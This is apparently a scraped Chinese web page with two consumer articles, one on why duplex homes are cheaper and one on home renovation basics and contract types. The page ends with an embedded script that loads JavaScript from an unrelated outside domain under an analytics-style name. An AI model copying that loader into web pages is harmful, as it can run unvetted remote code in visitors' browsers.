复式房子为什么便宜?详细介绍

导语：在房地产行业中，有许多不同类型的房屋。房屋的价格会因为多种不同的因素产生波动，比如说房屋的地段、交通、室内面积、周围环境以及该城市的发展等等，而又一类房屋相对来说就比较便宜，那就是著名的香港建筑设计师李鸿仁推出的复式房子。复式房子是在受跃层式住宅设计上的另一种升华，属于经济性住宅。可是复式房子为什么会便宜呢?小编今天的文章就来为大家详细解答这一疑问。什么样的房屋算复式房?复式的层高一般高于普通住宅，上下两层处于同一视线空间，区别于跃层式住宅两层完全独立的空间。上下两层分高层主区和低层夹层两部分，两层之间有明显高低之分。一般情况下，复式住宅的下层供起居用，炊事、进餐、洗浴等，上层供休息睡眠用，户内设多处墙式壁柜和楼梯，中间楼板也即上层地板。复式房子为什么便宜?复式房是把普通住宅分楼上楼下两层使用，入户不通过客厅可进出楼上卧室，楼上休息楼下活动，增加土地利用率，最大限度降底开发成本。复式住宅交通面积都要比普通户型大，台阶与楼梯的设计容易为了紧凑而显得过于局促，家里有老人小孩的必须考虑其使用功能上的障碍，老人、小孩爬楼梯可能很困难。复式住宅在设计施工和使用上有一些不足：比如复式住宅的面宽大，进深小，如采用内廓式平面组合必然导致一部分户型朝向不佳，自然采光较差;复式的中空容易形成回声噪音，较难避免。对面积不大的复式来说，中空比较浪费，会导致上层面积不易分配;复式住宅的层高过低，如厨房只有2米高度，长期使用易产生局促弊气的不适感;也有一些室内的隔断楼板均采用轻薄的木隔断，木材成本较高，且隔音、防火功能差，房间安全性较差。还有一部分顶层复式楼，楼层比较高，虽然屋顶呈坡式或有隔热层，但仍然避免不了夏天较热的情况。复式楼面积相对较大、单价相对便宜，但总房款一般不会低于单层总房款。属于经济型住宅。上述中小编为大家介绍了关于复式房子的相关知识，从小编的文章可以看出复式房子的经济性体现，以及它本身存在的优缺点。市面上复式房子的价格相对便宜，而实际来说，复式房子的价格是因为它层高比较高，可以通过隔层来居住，相当于就是双倍的面积，所以才觉得便宜。上述中小编也为大家讲解了关于复式房子为什么会便宜的相关原因，希望小编的文章能够帮助到大家。

大伙晓得装修一般装修些什么吗

中国平均每天都会卖出很多套房，当然每天也会有人在装修房子，不可能人人都是已经装修过两三套的熟手，还有很多装修小白在发问，装修一般装修些什么？装修的流程是些什么呢？装修应该注意些什么了？当然不可能通过一篇短短的文章，就能让小白变专家，但是基本奠定个基础，知道一下装修一般装修些什么还是可以的。装修一般分为硬装和软装。硬装通常叫做看不见的工程，十分基础而重要的水电改造，墙面处理，吊顶，地面处理都是硬装的范围，软装则是为了美而美，从这个逻辑来说，家具的选择，墙纸的配色，灯具的花样，窗帘的图案都属于其中。其实其中每一个小小的环节都能写上大大的一篇文章，装修小白在理清楚流程后，在知道装修一般装修些什么后，可以分条分块再进行了解。装修按照业主操心指数还能分为清包、半包、全包三种方式。清包即为所有工人、材料全由业主去联系去购买，整个装修都由业主把控，半包和全包则是和装修公司签订协议，半包是装修公司提供项目经理来管控整个装修的工人和过程，主要材料由业主自行购买，全包则是由装修公司负责整个装修全过程，甚至到家电家具的购买都能囊括，可以做到让业主拎包入住，但是费用相应也是高一些。这里不会就装修方式进行推荐，只是为了对小白进行一次普及，不用再问装修一般装修些什么这种问题，可以根据自己的钱包和时间的平衡来选择一个合适的装修方式，合适的就是最完美的，还有一点就是提前的学习对装修防坑有很好的效果，但是人无完人，也不能事事完美，装修也是一个不断将就的过程。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();